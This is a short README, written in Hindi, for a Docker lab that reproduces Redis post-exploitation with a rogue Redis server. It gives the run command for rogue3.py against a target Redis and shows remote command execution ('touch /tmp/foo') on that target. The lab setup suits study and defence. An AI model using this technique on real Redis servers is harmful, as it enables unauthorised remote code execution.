redis-post-exploitation

केवल शैक्षणिक उद्देश्यों के लिए

संदर्भ

• https://2018.zeronights.ru/wp-content/uploads/materials/15-redis-post-exploitation.pdf
• https://paper.seebug.org/975/

रॉग सर्वर

• https://github.com/knqyf263/redis-rogue-server

बिल्ड

$ docker-compose build

रन

$ docker-compose up -d
$ docker-compose exec rogue sh

/rogue/redis-rogue-server # python3 rogue3.py --rhost redis --rport 6379 --lhost rogue --lport 21000
...
[<<] touch /tmp/foo

चेक

$ docker-compose exec redis sh

/data # ls /tmp/
foo